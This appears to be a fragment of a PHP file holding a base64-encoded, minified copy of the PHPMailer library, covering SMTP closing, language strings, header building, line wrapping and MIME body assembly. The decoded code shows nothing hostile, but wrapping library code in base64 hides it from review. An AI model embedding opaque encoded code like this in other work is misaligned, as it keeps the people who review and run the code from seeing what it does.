7aWYoJHRoaXMtPmV4Y2VwdGlvbnMgYW5kIG51bGwhPT0kbGFzdGV4Y2VwdGlvbil7dGhyb3cgJGxhc3RleGNlcHRpb247fXJldHVybiBmYWxzZTt9cHVibGljIGZ1bmN0aW9uIHNtdHBDbG9zZSgpe2lmKG51bGwhPT0kdGhpcy0+c210cCl7aWYoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKXskdGhpcy0+c210cC0+cXVpdCgpOyR0aGlzLT5zbXRwLT5jbG9zZSgpO319fXB1YmxpYyBmdW5jdGlvbiBzZXRMYW5ndWFnZSgkbGFuZ2NvZGU9J2VuJywkbGFuZ19wYXRoPScnKXskcmVuYW1lZF9sYW5nY29kZXM9Wydicic9PidwdF9icicsJ2N6Jz0+J2NzJywnZGsnPT4nZGEnLCdubyc9PiduYicsJ3NlJz0+J3N2JywncnMnPT4nc3InLCd0Zyc9Pid0bCcsXTtpZihpc3NldCgkcmVuYW1lZF9sYW5nY29kZXNbJGxhbmdjb2RlXSkpeyRsYW5nY29kZT0kcmVuYW1lZF9sYW5nY29kZXNbJGxhbmdjb2RlXTt9JFBIUE1BSUxFUl9MQU5HPVsnYXV0aGVudGljYXRlJz0+J1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywnY29ubmVjdF9ob3N0Jz0+J1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLCdkYXRhX25vdF9hY2NlcHRlZCc9PidTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLCdlbXB0eV9tZXNzYWdlJz0+J01lc3NhZ2UgYm9keSBlbXB0eScsJ2VuY29kaW5nJz0+J1Vua25vd24gZW5jb2Rpbmc6ICcsJ2V4ZWN1dGUnPT4nQ291bGQgbm90IGV4ZWN1dGU6ICcsJ2ZpbGVfYWNjZXNzJz0+J0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywnZmlsZV9vcGVuJz0+J0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsJ2Zyb21fZmFpbGVkJz0+J1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywnaW5zdGFudGlhdGUnPT4nQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywnaW52YWxpZF9hZGRyZXNzJz0+J0ludmFsaWQgYWRkcmVzczogJywnbWFpbGVyX25vdF9zdXBwb3J0ZWQnPT4nIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsJ3Byb3ZpZGVfYWRkcmVzcyc9PidZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLCdyZWNpcGllbnRzX2ZhaWxlZCc9PidTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLCdzaWduaW5nJz0+J1NpZ25pbmcgRXJyb3I6ICcsJ3NtdHBfY29ubmVjdF9mYWlsZWQnPT4nU01UUCBjb25uZWN0KCkgZmFpbGVkLicsJ3NtdHBfZXJyb3InPT4nU01UUCBzZXJ2ZXIgZXJyb3I6ICcsJ3ZhcmlhYmxlX3NldCc9PidDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLCdleHRlbnNpb25fbWlzc2luZyc9PidFeHRlbnNpb24gbWlzc2luZzogJyxdO2lmKGVtcHR5KCRsYW5nX3BhdGgpKXskbGFuZ19wYXRoPWRpcm5hbWUoX19ESVJfXykuRElSRUNUT1JZX1NFUEFSQVRPUi4nbGFuZ3VhZ2UnLkRJUkVDVE9SWV9TRVBBUkFUT1I7fWlmKCFwcmVnX21hdGNoKCcvXlthLXpdezJ9KD86X1thLXpBLVpdezJ9KT8kLycsJGxhbmdjb2RlKSl7JGxhbmdjb2RlPSdlbic7fSRmb3VuZGxhbmc9dHJ1ZTskbGFuZ19maWxlPSRsYW5nX3BhdGguJ3BocG1haWxlci5sYW5nLScuJGxhbmdjb2RlLicucGhwJztpZignZW4nIT0kbGFuZ2NvZGUpe2lmKCFzdGF0aWM6OmlzUGVybWl0dGVkUGF0aCgkbGFuZ19maWxlKXx8IWZpbGVfZXhpc3RzKCRsYW5nX2ZpbGUpKXskZm91bmRsYW5nPWZhbHNlO31lbHNleyRmb3VuZGxhbmc9aW5jbHVkZSAkbGFuZ19maWxlO319JHRoaXMtPmxhbmd1YWdlPSRQSFBNQUlMRVJfTEFORztyZXR1cm4gKGJvb2wpICRmb3VuZGxhbmc7fXB1YmxpYyBmdW5jdGlvbiBnZXRUcmFuc2xhdGlvbnMoKXtyZXR1cm4gJHRoaXMtPmxhbmd1YWdlO31wdWJsaWMgZnVuY3Rpb24gYWRkckFwcGVuZCgkdHlwZSwkYWRkcil7JGFkZHJlc3Nlcz1bXTtmb3JlYWNoKCRhZGRyIGFzICRhZGRyZXNzKXskYWRkcmVzc2VzW109JHRoaXMtPmFkZHJGb3JtYXQoJGFkZHJlc3MpO31yZXR1cm4gJHR5cGUuJzogJy5pbXBsb2RlKCcsICcsJGFkZHJlc3Nlcykuc3RhdGljOjokTEU7fXB1YmxpYyBmdW5jdGlvbiBhZGRyRm9ybWF0KCRhZGRyKXtpZihlbXB0eSgkYWRkclsxXSkpe3JldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTt9cmV0dXJuICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkYWRkclsxXSksJ3BocmFzZScpLicgPCcuJHRoaXMtPnNlY3VyZUhlYWRlcigkYWRkclswXSkuJz4nO31wdWJsaWMgZnVuY3Rpb24gd3JhcFRleHQoJG1lc3NhZ2UsJGxlbmd0aCwkcXBfbW9kZT1mYWxzZSl7aWYoJHFwX21vZGUpeyRzb2Z0X2JyZWFrPXNwcmludGYoJyA9JXMnLHN0YXRpYzo6JExFKTt9ZWxzZXskc29mdF9icmVhaz1zdGF0aWM6OiRMRTt9JGlzX3V0Zjg9c3RhdGljOjpDSEFSU0VUX1VURjg9PT1zdHJ0b2xvd2VyKCR0aGlzLT5DaGFyU2V0KTskbGVsZW49c3RybGVuKHN0YXRpYzo6JExFKTskY3JsZmxlbj1zdHJsZW4oc3RhdGljOjokTEUpOyRtZXNzYWdlPXN0YXRpYzo6bm9ybWFsaXplQnJlYWtzKCRtZXNzYWdlKTtpZihzdWJzdHIoJG1lc3NhZ2UsLSRsZWxlbik9PXN0YXRpYzo6JExFKXskbWVzc2FnZT1zdWJzdHIoJG1lc3NhZ2UsMCwtJGxlbGVuKTt9JGxpbmVzPWV4cGxvZGUoc3RhdGljOjokTEUsJG1lc3NhZ2UpOyRtZXNzYWdlPScnO2ZvcmVhY2goJGxpbmVzIGFzICRsaW5lKXskd29yZHM9ZXhwbG9kZSgnICcsJGxpbmUpOyRidWY9Jyc7JGZpcnN0d29yZD10cnVlO2ZvcmVhY2goJHdvcmRzIGFzICR3b3JkKXtpZigkcXBfbW9kZSBhbmQoc3RybGVuKCR3b3JkKT4kbGVuZ3RoKSl7JHNwYWNlX2xlZnQ9JGxlbmd0aC1zdHJsZW4oJGJ1ZiktJGNybGZsZW47aWYoISRmaXJzdHdvcmQpe2lmKCRzcGFjZV9sZWZ0PjIwKXskbGVuPSRzcGFjZV9sZWZ0O2lmKCRpc191dGY4KXskbGVuPSR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCRsZW4pO31lbHNlaWYoJz0nPT1zdWJzdHIoJHdvcmQsJGxlbi0xLDEpKXstLSRsZW47fWVsc2VpZignPSc9PXN1YnN0cigkd29yZCwkbGVuLTIsMSkpeyRsZW4gLT0gMjt9JHBhcnQ9c3Vic3RyKCR3b3JkLDAsJGxlbik7JHdvcmQ9c3Vic3RyKCR3b3JkLCRsZW4pOyRidWYuPScgJy4kcGFydDskbWVzc2FnZS49JGJ1Zi5zcHJpbnRmKCc9JXMnLHN0YXRpYzo6JExFKTt9ZWxzZXskbWVzc2FnZS49JGJ1Zi4kc29mdF9icmVhazt9JGJ1Zj0nJzt9d2hpbGUoc3RybGVuKCR3b3JkKT4wKXtpZigkbGVuZ3RoIDw9IDApe2JyZWFrO30kbGVuPSRsZW5ndGg7aWYoJGlzX3V0ZjgpeyRsZW49JHRoaXMtPnV0ZjhDaGFyQm91bmRhcnkoJHdvcmQsJGxlbik7fWVsc2VpZignPSc9PXN1YnN0cigkd29yZCwkbGVuLTEsMSkpey0tJGxlbjt9ZWxzZWlmKCc9Jz09c3Vic3RyKCR3b3JkLCRsZW4tMiwxKSl7JGxlbiAtPSAyO30kcGFydD1zdWJzdHIoJHdvcmQsMCwkbGVuKTskd29yZD1zdWJzdHIoJHdvcmQsJGxlbik7aWYoc3RybGVuKCR3b3JkKT4wKXskbWVzc2FnZS49JHBhcnQuc3ByaW50ZignPSVzJyxzdGF0aWM6OiRMRSk7fWVsc2V7JGJ1Zj0kcGFydDt9fX1lbHNleyRidWZfbz0kYnVmO2lmKCEkZmlyc3R3b3JkKXskYnVmLj0nICc7fSRidWYuPSR3b3JkO2lmKHN0cmxlbigkYnVmKT4kbGVuZ3RoIGFuZCAnJyE9JGJ1Zl9vKXskbWVzc2FnZS49JGJ1Zl9vLiRzb2Z0X2JyZWFrOyRidWY9JHdvcmQ7fX0kZmlyc3R3b3JkPWZhbHNlO30kbWVzc2FnZS49JGJ1Zi5zdGF0aWM6OiRMRTt9cmV0dXJuICRtZXNzYWdlO31wdWJsaWMgZnVuY3Rpb24gdXRmOENoYXJCb3VuZGFyeSgkZW5jb2RlZFRleHQsJG1heExlbmd0aCl7JGZvdW5kU3BsaXRQb3M9ZmFsc2U7JGxvb2tCYWNrPTM7d2hpbGUoISRmb3VuZFNwbGl0UG9zKXskbGFzdENodW5rPXN1YnN0cigkZW5jb2RlZFRleHQsJG1heExlbmd0aC0kbG9va0JhY2ssJGxvb2tCYWNrKTskZW5jb2RlZENoYXJQb3M9c3RycG9zKCRsYXN0Q2h1bmssJz0nKTtpZihmYWxzZSE9PSRlbmNvZGVkQ2hhclBvcyl7JGhleD1zdWJzdHIoJGVuY29kZWRUZXh0LCRtYXhMZW5ndGgtJGxvb2tCYWNrKyRlbmNvZGVkQ2hhclBvcysxLDIpOyRkZWM9aGV4ZGVjKCRoZXgpO2lmKCRkZWM8MTI4KXtpZigkZW5jb2RlZENoYXJQb3M+MCl7JG1heExlbmd0aCAtPSAkbG9va0JhY2stJGVuY29kZWRDaGFyUG9zO30kZm91bmRTcGxpdFBvcz10cnVlO31lbHNlaWYoJGRlYyA+PSAxOTIpeyRtYXhMZW5ndGggLT0gJGxvb2tCYWNrLSRlbmNvZGVkQ2hhclBvczskZm91bmRTcGxpdFBvcz10cnVlO31lbHNlaWYoJGRlYzwxOTIpeyRsb29rQmFjayArPSAzO319ZWxzZXskZm91bmRTcGxpdFBvcz10cnVlO319cmV0dXJuICRtYXhMZW5ndGg7fXB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpe2lmKCR0aGlzLT5Xb3JkV3JhcDwxKXtyZXR1cm47fXN3aXRjaCgkdGhpcy0+bWVzc2FnZV90eXBlKXtjYXNlICdhbHQnOmNhc2UgJ2FsdF9pbmxpbmUnOmNhc2UgJ2FsdF9hdHRhY2gnOmNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzokdGhpcy0+QWx0Qm9keT0kdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksJHRoaXMtPldvcmRXcmFwKTticmVhaztkZWZhdWx0OiR0aGlzLT5Cb2R5PSR0aGlzLT53cmFwVGV4dCgkdGhpcy0+Qm9keSwkdGhpcy0+V29yZFdyYXApO2JyZWFrO319cHVibGljIGZ1bmN0aW9uIGNyZWF0ZUhlYWRlcigpeyRyZXN1bHQ9Jyc7JHJlc3VsdC49JHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCcnPT0kdGhpcy0+TWVzc2FnZURhdGU/c2VsZjo6cmZjRGF0ZSgpOiR0aGlzLT5NZXNzYWdlRGF0ZSk7aWYoJHRoaXMtPlNpbmdsZVRvKXtpZignbWFpbCchPSR0aGlzLT5NYWlsZXIpe2ZvcmVhY2goJHRoaXMtPnRvIGFzICR0b2FkZHIpeyR0aGlzLT5TaW5nbGVUb0FycmF5W109JHRoaXMtPmFkZHJGb3JtYXQoJHRvYWRkcik7fX19ZWxzZXtpZihjb3VudCgkdGhpcy0+dG8pPjApe2lmKCdtYWlsJyE9JHRoaXMtPk1haWxlcil7JHJlc3VsdC49JHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywkdGhpcy0+dG8pO319ZWxzZWlmKGNvdW50KCR0aGlzLT5jYyk9PTApeyRyZXN1bHQuPSR0aGlzLT5oZWFkZXJMaW5lKCdUbycsJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpO319JHJlc3VsdC49JHRoaXMtPmFkZHJBcHBlbmQoJ0Zyb20nLFtbdHJpbSgkdGhpcy0+RnJvbSksJHRoaXMtPkZyb21OYW1lXV0pO2lmKGNvdW50KCR0aGlzLT5jYyk+MCl7JHJlc3VsdC49JHRoaXMtPmFkZHJBcHBlbmQoJ0NjJywkdGhpcy0+Y2MpO31pZigoJ3NlbmRtYWlsJz09JHRoaXMtPk1haWxlciBvciAncW1haWwnPT0kdGhpcy0+TWFpbGVyIG9yICdtYWlsJz09JHRoaXMtPk1haWxlcilhbmQgY291bnQoJHRoaXMtPmJjYyk+MCl7JHJlc3VsdC49JHRoaXMtPmFkZHJBcHBlbmQoJ0JjYycsJHRoaXMtPmJjYyk7fWlmKGNvdW50KCR0aGlzLT5SZXBseVRvKT4wKXskcmVzdWx0Lj0kdGhpcy0+YWRkckFwcGVuZCgnUmVwbHktVG8nLCR0aGlzLT5SZXBseVRvKTt9aWYoJ21haWwnIT0kdGhpcy0+TWFpbGVyKXskcmVzdWx0Lj0kdGhpcy0+aGVhZGVyTGluZSgnU3ViamVjdCcsJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSkpO31pZignJyE9JHRoaXMtPk1lc3NhZ2VJRCBhbmQgcHJlZ19tYXRjaCgnL148LipALio+JC8nLCR0aGlzLT5NZXNzYWdlSUQpKXskdGhpcy0+bGFzdE1lc3NhZ2VJRD0kdGhpcy0+TWVzc2FnZUlEO31lbHNleyR0aGlzLT5sYXN0TWVzc2FnZUlEPXNwcmludGYoJzwlc0Alcz4nLCR0aGlzLT51bmlxdWVpZCwkdGhpcy0+c2VydmVySG9zdG5hbWUoKSk7fSRyZXN1bHQuPSR0aGlzLT5oZWFkZXJMaW5lKCdNZXNzYWdlLUlEJywkdGhpcy0+bGFzdE1lc3NhZ2VJRCk7aWYobnVsbCE9PSR0aGlzLT5Qcmlvcml0eSl7JHJlc3VsdC49JHRoaXMtPmhlYWRlckxpbmUoJ1gtUHJpb3JpdHknLCR0aGlzLT5Qcmlvcml0eSk7fWlmKCcnPT0kdGhpcy0+WE1haWxlcil7JHJlc3VsdC49JHRoaXMtPmhlYWRlckxpbmUoJ1gtTWFpbGVyJywnPz8xPycuc2VsZjo6VkVSU0lPTi4nPz8nKTt9ZWxzZXskbXlYbWFpbGVyPXRyaW0oJHRoaXMtPlhNYWlsZXIpO2lmKCRteVhtYWlsZXIpeyRyZXN1bHQuPSR0aGlzLT5oZWFkZXJMaW5lKCdYLU1haWxlcicsJG15WG1haWxlcik7fX1pZignJyE9JHRoaXMtPkNvbmZpcm1SZWFkaW5nVG8peyRyZXN1bHQuPSR0aGlzLT5oZWFkZXJMaW5lKCdEaXNwb3NpdGlvbi1Ob3RpZmljYXRpb24tVG8nLCc8Jy4kdGhpcy0+Q29uZmlybVJlYWRpbmdUby4nPicpO31mb3JlYWNoKCR0aGlzLT5DdXN0b21IZWFkZXIgYXMgJGhlYWRlcil7JHJlc3VsdC49JHRoaXMtPmhlYWRlckxpbmUodHJpbSgkaGVhZGVyWzBdKSwkdGhpcy0+ZW5jb2RlSGVhZGVyKHRyaW0oJGhlYWRlclsxXSkpKTt9aWYoISR0aGlzLT5zaWduX2tleV9maWxlKXskcmVzdWx0Lj0kdGhpcy0+aGVhZGVyTGluZSgnTUlNRS1WZXJzaW9uJywnMS4wJyk7JHJlc3VsdC49JHRoaXMtPmdldE1haWxNSU1FKCk7fXJldHVybiAkcmVzdWx0O31wdWJsaWMgZnVuY3Rpb24gZ2V0TWFpbE1JTUUoKXskcmVzdWx0PScnOyRpc211bHRpcGFydD10cnVlO3N3aXRjaCgkdGhpcy0+bWVzc2FnZV90eXBlKXtjYXNlICdpbmxpbmUnOiRyZXN1bHQuPSR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLHN0YXRpYzo6Q09OVEVOVF9UWVBFX01VTFRJUEFSVF9SRUxBVEVELic7Jyk7JHJlc3VsdC49JHRoaXMtPnRleHRMaW5lKCcgYm91bmRhcnk9IicuJHRoaXMtPmJvdW5kYXJ5WzFdLiciJyk7YnJlYWs7Y2FzZSAnYXR0YWNoJzpjYXNlICdpbmxpbmVfYXR0YWNoJzpjYXNlICdhbHRfYXR0YWNoJzpjYXNlICdhbHRfaW5saW5lX2F0dGFjaCc6JHJlc3VsdC49JHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX01JWEVELic7Jyk7JHJlc3VsdC49JHRoaXMtPnRleHRMaW5lKCcgYm91bmRhcnk9IicuJHRoaXMtPmJvdW5kYXJ5WzFdLiciJyk7YnJlYWs7Y2FzZSAnYWx0JzpjYXNlICdhbHRfaW5saW5lJzokcmVzdWx0Lj0kdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJyxzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfQUxURVJOQVRJVkUuJzsnKTskcmVzdWx0Lj0kdGhpcy0+dGV4dExpbmUoJyBib3VuZGFyeT0iJy4kdGhpcy0+Ym91bmRhcnlbMV0uJyInKTticmVhaztkZWZhdWx0OiRyZXN1bHQuPSR0aGlzLT50ZXh0TGluZSgnQ29udGVudC1UeXBlOiAnLiR0aGlzLT5Db250ZW50VHlwZS4nOyBjaGFyc2V0PScuJHRoaXMtPkNoYXJTZXQpOyRpc211bHRpcGFydD1mYWxzZTticmVhazt9aWYoc3RhdGljOjpFTkNPRElOR183QklUIT0kdGhpcy0+RW5jb2Rpbmcpe2lmKCRpc211bHRpcGFydCl7aWYoc3RhdGljOjpFTkNPRElOR184QklUPT0kdGhpcy0+RW5jb2RpbmcpeyRyZXN1bHQuPSR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nJyxzdGF0aWM6OkVOQ09ESU5HXzhCSVQpO319ZWxzZXskcmVzdWx0Lj0kdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZycsJHRoaXMtPkVuY29kaW5nKTt9fWlmKCdtYWlsJyE9JHRoaXMtPk1haWxlcil7JHJlc3VsdC49c3RhdGljOjokTEU7fXJldHVybiAkcmVzdWx0O31wdWJsaWMgZnVuY3Rpb24gZ2V0U2VudE1JTUVNZXNzYWdlKCl7cmV0dXJuIHJ0cmltKCR0aGlzLT5NSU1FSGVhZGVyLiR0aGlzLT5tYWlsSGVhZGVyLCJcblxyIikuc3RhdGljOjokTEUuc3RhdGljOjokTEUuJHRoaXMtPk1JTUVCb2R5O31wcm90ZWN0ZWQgZnVuY3Rpb24gZ2VuZXJhdGVJZCgpeyRsZW49MzI7aWYoZnVuY3Rpb25fZXhpc3RzKCdyYW5kb21fYnl0ZXMnKSl7JGJ5dGVzPXJhbmRvbV9ieXRlcygkbGVuKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnb3BlbnNzbF9yYW5kb21fcHNldWRvX2J5dGVzJykpeyRieXRlcz1vcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoJGxlbik7fWVsc2V7JGJ5dGVzPWhhc2goJ3NoYTI1NicsdW5pcWlkKChzdHJpbmcpbXRfcmFuZCgpLHRydWUpLHRydWUpO31yZXR1cm4gc3RyX3JlcGxhY2UoWyc9JywnKycsJy8nXSwnJyxiYXNlNjRfZW5jb2RlKGhhc2goJ3NoYTI1NicsJGJ5dGVzLHRydWUpKSk7fXB1YmxpYyBmdW5jdGlvbiBjcmVhdGVCb2R5KCl7JGJvZHk9Jyc7JHRoaXMtPnVuaXF1ZWlkPSR0aGlzLT5nZW5lcmF0ZUlkKCk7JHRoaXMtPmJvdW5kYXJ5WzFdPSdiMV8nLiR0aGlzLT51bmlxdWVpZDskdGhpcy0+Ym91bmRhcnlbMl09J2IyXycuJHRoaXMtPnVuaXF1ZWlkOyR0aGlzLT5ib3VuZGFyeVszXT0nYjNfJy4kdGhpcy0+dW5pcXVlaWQ7aWYoJHRoaXMtPnNpZ25fa2V5X2ZpbGUpeyRib2R5Lj0kdGhpcy0+Z2V0TWFpbE1JTUUoKS5zdGF0aWM6OiRMRTt9JHRoaXMtPnNldFdvcmRXcmFwKCk7JGJvZHlFbmNvZGluZz0kdGhpcy0+RW5jb2Rpbmc7JGJvZHlDaGFyU2V0PSR0aGlzLT5DaGFyU2V0O2lmKHN0YXRpYzo6RU5DT0RJTkdfOEJJVD09JGJvZHlFbmNvZGluZyBhbmQhJHRoaXMtPmhhczhiaXRDaGFycygkdGhpcy0+Qm9keSkpeyRib2R5RW5jb2Rpbmc9c3RhdGljOjpFTkNPRElOR183QklUOyRib2R5Q2hhclNldD0ndXMtYXNjaWknO31pZihzdGF0aWM6OkVOQ09ESU5HX0JBU0U2NCE9JHRoaXMtPkVuY29kaW5nIGFuZCBzdGF0aWM6Omhhc0xpbmVMb25nZXJUaGFuTWF4KCR0aGlzLT5Cb2R5KSl7JGJvZHlFbmNvZGluZz1zdGF0aWM6OkVOQ09ESU5HX1FVT1RFRF9QUklOVEFCTEU7fSRhbHRCb2R5RW5jb2Rpbmc9JHRoaXMtPkVuY29kaW5nOyRhbHRCb2R5Q2hhclNldD0kdGhpcy0+Q2hhclNldDtpZihzdGF0aWM6OkVOQ09ESU5HXzhCSVQ9PSRhbHRCb2R5RW5jb2RpbmcgYW5kISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkFsdEJvZHkpKXskYWx0Qm9keUVuY29kaW5nPXN0YXRpYzo6RU5DT0RJTkdfN0JJVDskYWx0Qm9keUNoYXJTZXQ9J3VzLWFzY2lpJzt9aWYoc3RhdGljOjpFTkNPRElOR19CQVNFNjQhPSRhbHRCb2R5RW5jb2RpbmcgYW5kIHN0YXRpYzo6aGFzTGluZUxvbmdlclRoYW5NYXgoJHRoaXMtPkFsdEJvZHkpKXskYWx0Qm9keUVuY29kaW5nPXN0YXRpYzo6RU5DT0RJTkdfUVVPVEVEX1BSSU5UQUJMRTt9JG1pbWVwcmU9J1RoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuJy5zdGF0aWM6OiRMRTtzd2l0Y2goJHRoaXMtPm1lc3NhZ2VfdHlwZSl7Y2FzZSAnaW5saW5lJzokYm9keS49JG1pbWVwcmU7JGJvZHkuPSR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sJGJvZHlDaGFyU2V0LCcnLCRib2R5RW5jb2RpbmcpOyRib2R5Lj0kdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCRib2R5RW5jb2RpbmcpOyRib2R5Lj1zdGF0aWM6OiRMRTskYm9keS49JHRoaXMtPmF0dGFjaEFsbCgnaW5saW5lJywkdGhpcy0+Ym91bmRhcnlbMV0pO2JyZWFrO2Nhc2UgJ2F0dGFjaCc6JGJvZHkuPSRtaW1lcHJlOyRib2R5Lj0kdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCRib2R5Q2hhclNldCwnJywkYm9keUVuY29kaW5nKTskYm9keS49JHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwkYm9keUVuY29kaW5nKTskYm9keS49c3RhdGljOjokTEU7JGJvZHkuPSR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCR0aGlzLT5ib3VuZGFyeVsxXSk7YnJlYWs7Y2FzZSAnaW5saW5lX2F0dGFjaCc6JGJvZHkuPSRtaW1lcHJlOyRib2R5Lj0kdGhpcy0+dGV4dExpbmUoJy0tJy4kdGhpcy0+Ym91bmRhcnlbMV0pOyRib2R5Lj0kdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJyxzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfUkVMQVRFRC4nOycpOyRib2R5Lj0kdGhpcy0+dGV4dExpbmUoJyBib3VuZGFyeT0iJy4kdGhpcy0+Ym91bmRhcnlbMl0uJyI7Jyk7JGJvZHkuPSR0aGlzLT50ZXh0TGluZSgnIHR5cGU9Iicuc3RhdGljOjpDT05URU5UX1RZUEVfVEVYVF9IVE1MLiciJyk7JGJvZHkuPXN0YXRpYzo6JExFOyRib2R5Lj0kdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCRib2R5Q2hhclNldCwnJywkYm9keUVuY29kaW5nKTskYm9keS49JHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwkYm9keUVuY29kaW5nKTskYm9keS49c3RhdGljOjokTEU7JGJvZHkuPSR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsJHRoaXMtPmJvdW5kYXJ5WzJdKTskYm9keS49c3RhdGljOjokTEU7JGJvZHkuPSR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCR0aGlzLT5ib3VuZGFyeVsxXSk7YnJlYWs7Y2FzZSAnYWx0JzokYm9keS49JG1pbWVwcmU7JGJvZHkuPSR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sJGFsdEJvZHlDaGFyU2V0LHN0YXRpYzo6Q09OVEVOVF9UWVBFX1BMQUlOVEVYVCwkYWx0Qm9keUVuY29kaW5nKTskYm9keS49JHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+QWx0Qm9keSwkYWx0Qm9keUVuY29kaW5nKTskYm9keS49c3RhdGljOjokTEU7JGJvZHkuPSR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sJGJvZHlDaGFyU2V0LHN0YXRpYzo6Q09OVEVOVF9UWVBFX1RFWFRfSFRNTCwkYm9keUVuY29kaW5nKTskYm9keS49JHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwkYm9keUVuY29kaW5nKTskYm9keS49c3RhdGljOjokTEU7aWYoIWVtcHR5KCR0aGlzLT5JY2FsKSl7JGJvZHkuPSR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sJycsc3RhdGljOjpDT05URU5UX1RZUEVfVEVYVF9DQUxFTkRBUi4nOyBtZXRob2Q9UkVRVUVTVCcsJycpOyRib2R5Lj0kdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCR0aGlzLT5FbmNvZGluZyk7JGJvZHkuPXN0YXRpYzo6JExFO30kYm9keS49JHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7YnJlYWs7Y2FzZSAnYWx0X2lubGluZSc6JGJvZHkuPSRtaW1lcHJlOyRib2R5Lj0kdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCRhbHRCb2R5Q2hhclNldCxzdGF0aWM6OkNPTlRFTlRfVFlQRV9QTEFJTlRFWFQsJGFsdEJvZHlFbmNvZGluZyk7JGJvZHkuPSR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksJGFsdEJvZHlFbmNvZGluZyk7JGJvZHkuPXN0YXRpYzo6JExFOyRib2R5Lj0kdGhpcy0+dGV4dExpbmUoJy0tJy4kdGhpcy0+Ym91bmRhcnlbMV0pOyRib2R5Lj0kdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJyxzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfUkVMQVRFRC4nOycpOyRib2R5Lj0kdGhpcy0+dGV4dExpbmUoJyBib3VuZGFyeT0iJy4kdGhpcy0+Ym91bmRhcnlbMl0uJyI7Jyk7JGJvZHkuPSR0aGlzLT50ZXh0TGluZSgnIHR5cGU9Iicuc3RhdGljOjpDT05URU5UX1RZUEVfVEVYVF9IVE1MLiciJyk7JGJvZHkuPXN0YXRpYzo6JExFOyRib2R5Lj0kdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCRib2R5Q2hhclNldCxzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0hUTUwsJGJvZHlFbmNvZGluZyk7JGJvZHkuPSR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksJGJvZHlFbmNvZGluZyk7JGJvZHkuPXN0YXRpYzo6JExFOyRib2R5Lj0kdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCR0aGlzLT5ib3VuZGFyeVsyXSk7JGJvZHkuPXN0YX